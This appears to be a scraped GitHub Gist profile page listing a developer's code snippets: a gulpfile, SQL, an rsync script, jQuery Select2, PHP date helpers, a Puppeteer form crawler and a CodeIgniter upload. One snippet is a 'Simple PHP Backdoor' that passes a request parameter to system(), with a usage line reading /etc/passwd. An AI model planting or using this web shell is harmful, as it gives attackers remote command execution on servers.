Skip to content

Instantly share code, notes, and snippets.

View ngekoding's full-sized avatar
💭
#staysafe

Nur Muhammad ngekoding

💭
#staysafe
View GitHub Profile
{"lastUpload":"2018-04-26T00:54:27.440Z","extensionVersion":"v2.9.0"}
@ngekoding
ngekoding / gulpfile.js
Created March 22, 2019 10:08 — forked from alxmtr/gulpfile.js
Sass & Pug + BrowserSync
var gulp = require('gulp');
var pug = require('gulp-pug');
var sass = require('gulp-sass');
var browserSync = require('browser-sync').create();
// Compile pug files into HTML
gulp.task('pug', function () {
return gulp.src('src/pug/*.pug')
.pipe(pug())
@ngekoding
ngekoding / generated_column.sql
Created May 9, 2020 13:10 — forked from hidayat365/generated_column.sql
Generated Column Example
-- master table
create table transactions (
id int auto_increment primary key,
code varchar(60) not null unique,
date integer not null,
value decimal(15,2) default 0,
remarks text
);
-- details table without generated column
@ngekoding
ngekoding / rsync-auto
Created October 4, 2020 09:52
rsync bash script to simplify the process (supporting .gitignore, etc...)
#!/bin/bash
helpFunction()
{
echo ""
echo "Usage: $0 -s source -d destination"
echo -e "\t-s Source folder"
echo -e "\t-d Destination folder"
echo ""
echo -e "Notes:\t- All files in .gitignore will be ignored"
@ngekoding
ngekoding / index.html
Last active November 4, 2020 08:04
Duplicating jQuery Select2 (supporting add & delete)
<div class="row expert-wrap">
<div class="col-md-6 form-group">
<input type="text" id="expert-field_1" class="form-control" name="expert-field[]" placeholder="Misal: Ahli Teknik Sipil">
</div>
<div class="col-md-6 expert-name-wrap">
<div class="form-group">
<select name="expert-name[]" id="expert-name_1" class="form-control select2">
<option value=""></option>
<option value="1">Option 1</option>
<option value="2">Option 2</option>
@ngekoding
ngekoding / example.php
Last active January 20, 2021 01:31
Getting date start & end for every week (Mon - Sun) by given month
<?php
$weeks = get_week_dates('2021-01');
var_dump($weeks);
// Output:
// array(5) {
// [0]=>
// array(2) {
<!-- Simple PHP Backdoor By DK (One-Liner Version) -->
<!-- Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd -->
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
@ngekoding
ngekoding / g-form-automator.js
Last active February 10, 2022 08:47
Crawling google form response summary (analytics)
const puppeteer = require('puppeteer-extra');
const pluginStealth = require('puppeteer-extra-plugin-stealth');
const fs = require('fs');
const dayjs = require('dayjs');
puppeteer.use(pluginStealth());
// Change default locale to Indonesia
require('dayjs/locale/id');
dayjs.locale('id');
@ngekoding
ngekoding / gh-pages.md
Created August 22, 2021 01:29 — forked from tunjos/gh-pages.md
Creating a clean gh-pages branch

Creating a clean gh-pages branch

cd /path/to/repo-name
git checkout --orphan gh-pages
git rm -rf .
echo "My GitHub Page" > index.html
git add .
git commit -a -m "Add index.html"
@ngekoding
ngekoding / ci3-multiple-upload.php
Created January 19, 2022 07:09
Multiple file upload in CodeIgniter 3
<?php
$count = count($_FILES['files']['name']);
$successes = [];
$errors = [];
for ($i = 0; $i < $count; $i++) {
$_FILES['file']['name'] = $_FILES['files']['name'][$i];
$_FILES['file']['type'] = $_FILES['files']['type'][$i];
$_FILES['file']['tmp_name'] = $_FILES['files']['tmp_name'][$i];